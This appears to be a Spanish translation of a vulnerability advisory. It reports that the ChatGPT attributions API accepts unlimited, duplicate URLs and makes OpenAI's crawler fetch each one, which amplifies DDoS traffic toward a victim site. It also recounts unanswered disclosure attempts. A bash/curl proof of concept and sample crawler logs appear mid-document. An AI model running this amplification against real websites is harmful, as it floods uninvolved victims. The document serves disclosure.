Problema 4541
Gravedad: [Alta - puntuación CVSS de 8,6](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H/E:H/RL:U/RC:C/CR:L/IR:L/AR:H/MAV:N/MAC:L/MPR:N/MUI:N/MS:C/MC:N/MI:N/MA:H%5D(https://chandanbn.github.io/cvss/#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H) porque está basado en red, es de baja complejidad, no requiere privilegios, no requiere interacción del usuario, se modificó el alcance, no afecta a la confidencialidad o integridad, pero sí a la seguridad. Disponibilidad.
El rastreador ChatGPT puede activarse para realizar un ataque DDoS a un sitio web víctima mediante una solicitud HTTP a una API ChatGPT no relacionada. Este defecto en el software OpenAI generará un ataque DDoS a un sitio web víctima desprevenida, utilizando varios rangos de direcciones IP de Microsoft Azure en los que se ejecuta el rastreador ChatGPT.
La API ChatGPT presenta un grave defecto de calidad al manejar solicitudes HTTP POST a https://chatgpt.com/backend-api/attributions. La API espera una lista de hipervínculos en el parámetro urls. Es bien sabido que los hipervínculos al mismo sitio web se pueden escribir de muchas formas diferentes. Debido a malas prácticas de programación, OpenAI no verifica si un hipervínculo al mismo recurso aparece varias veces en la lista. OpenAI tampoco impone un límite en la cantidad máxima de hipervínculos almacenados en el parámetro urls, lo que permite la transmisión de muchos miles de hipervínculos dentro de una sola solicitud HTTP.
Inmediatamente después de que el punto final de la API https://chatgpt.com/backend-api/attributions de OpenAI recibe una solicitud HTTP POST bien formada, OpenAI iniciará una solicitud HTTP para cada hipervínculo contenido en el parámetro urls desde los servidores de OpenAI ubicados en la nube de Microsoft Azure. En este punto, un sitio web víctima experimentará una gran cantidad de intentos de conexión en paralelo y solicitudes HTTP desde los servidores de OpenAI. Si bien OpenAI es consciente de que está enviando una gran cantidad de solicitudes al mismo sitio web en el mismo momento, no hace ningún intento por limitar la cantidad de conexiones al mismo sitio web o incluso evitar la emisión de solicitudes duplicadas al mismo recurso.
Dependiendo de la cantidad de hipervínculos transmitidos a OpenAI a través del parámetro urls, la gran cantidad de conexiones desde los servidores de OpenAI podría saturar el sitio web víctima.
Este defecto de software proporciona un factor de amplificación significativo para posibles ataques DDoS. OpenAI muestra una falta de procesos de control de calidad en su ingeniería de software y debería remediar este defecto lo antes posible.
Este código de prueba de concepto resalta los defectos de la API de OpenAI al iniciar el envío de 50 solicitudes HTTP desde los servidores de OpenAI a my-website.localhost.
#!/bin/bash echo {1..50} | tr ' ' '\n' | ( while read -r i; do echo "https://my-website.localhost:$RANDOM/$i-$RANDOM.txt"; done ) | jq -R -s -j -c '{ "urls": split("\n")[:-1] }' \ | curl -v --http1.1 \ -H 'user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.32 (KHTML, like Gecko) Chrome/133.0.0.1 Safari/535.32' \ -H "content-type: application/jason" \ -H 'origin: https://www.chatgpt.com' \ --data-binary @- -X POST 'https:///chatgpt.com/backend-api/attributions'
Los archivos de registro en el servidor web my-website.localhost mostrarán muchos intentos de conexión por parte de ChatGPT Crawler que ocurren en el mismo segundo:
... 2025-01-10 40.84.221.211 "GET /9185 HTTP/2.0" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, como Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 2025-01-10 40.84.221.210 "GET /1190 HTTP/2.0" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, como Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 2025-01-10 40.84.221.208 "GET /9185 HTTP/2.0" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, como Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" 2025-01-10 40.84.221.208 "GET /1190 HTTP/2.0" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, como Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot" ...
Este defecto de software se descubrió en enero de 2025 y se comunicó de manera responsable tanto a OpenAI como propietario del software defectuoso como a Microsoft como propietario de los servidores que generan la enorme cantidad de solicitudes web potencialmente maliciosas.
Desafortunadamente, no fue posible obtener una reacción de ninguna de las partes a su debido tiempo, a pesar de que se hicieron muchos intentos para garantizar una mitigación de este defecto de software, incluidos:
- ponerse en contacto con el equipo de seguridad de OpenAI a través de un informe en su plataforma de informes de vulnerabilidades BugCrowd (sin respuesta de OpenAI)
- ponerse en contacto con el equipo de seguridad de OpenAI por correo electrónico a
disclosure@openai.comcomo se describe en el archivo.well-known/security.txten su servidor web (mensaje "el buzón ya no se usa", sin respuesta de OpenAI) - ponerse en contacto con los empleados de OpenAI a través de informes y avisos de seguridad publicados en sus repositorios de github (sin respuesta de OpenAI)
- ponerse en contacto con el responsable de privacidad de datos de OpenAI por correo electrónico a
privacy@openai.comydsar@openai.com(respuesta de correo electrónico escrita por la IA que apunta al sitio web de preguntas frecuentes) - contactar al personal de soporte de OpenAI por correo electrónico a
support@openai.com(respuesta de correo electrónico escrita por la IA que apunta al sitio web de preguntas frecuentes) - contactar al equipo de seguridad de Microsoft por correo electrónico a
secure@microsoft.com,abuse@microsoft.comy muchos más (sin respuesta de Microsoft) - contactar al equipo de seguridad de Microsoft a través de formularios completados en
cert.microsoft.com(respuesta de correo electrónico escrita por la IA: "caso cerrado") - contactar al equipo de operaciones de red de Microsoft Azure por correo electrónico a los contactos proporcionados en los registros WHOIS (sin respuesta de Microsoft)
- contactar al equipo de seguridad de CloudFlare a través de un informe en HackerOne, ya que CloudFlare proporciona el servidor de puerta de enlace a
https://chatgpt.com(el personal de HackerOne cierra el informe como "informativo", se niega a enviar información a CloudFlare)
A partir del viernes 10 de enero de 2025, después de varios informes sobre canales de comunicación legales, este defecto de software no fue resuelto por OpenAI/Microsoft ni reconocieron su existencia.